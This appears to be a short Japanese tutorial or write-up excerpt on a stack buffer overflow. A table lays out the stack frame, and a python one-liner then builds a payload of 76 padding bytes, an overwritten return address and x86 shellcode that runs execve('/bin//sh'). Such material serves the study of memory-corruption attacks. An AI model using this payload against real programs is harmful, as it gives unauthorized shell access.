説明 | サイズ | 値 | アドレス |
---|---|---|---|
buf | 64 bytes | xxx... | 0xffffd480 |
すきま | 8 bytes | xxx... | 0xffffd4c0 |
前のスタックフレーム | 4 bytes | 0x78787878 | 0xffffd4c8 |
呼び出し元アドレス | 4 bytes | 0xffffd4d0 | 0xffffd4cc |
fooの引数 | 0 bytes | \x31\xc0\x50... | 0xffffd4d0 |
こうなる
( '-') python -c 'print "x"*76 + "\xd0\xd4\xff\xff" + \ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xf2\xb0\x0b\xcd\x80" \ ' > shine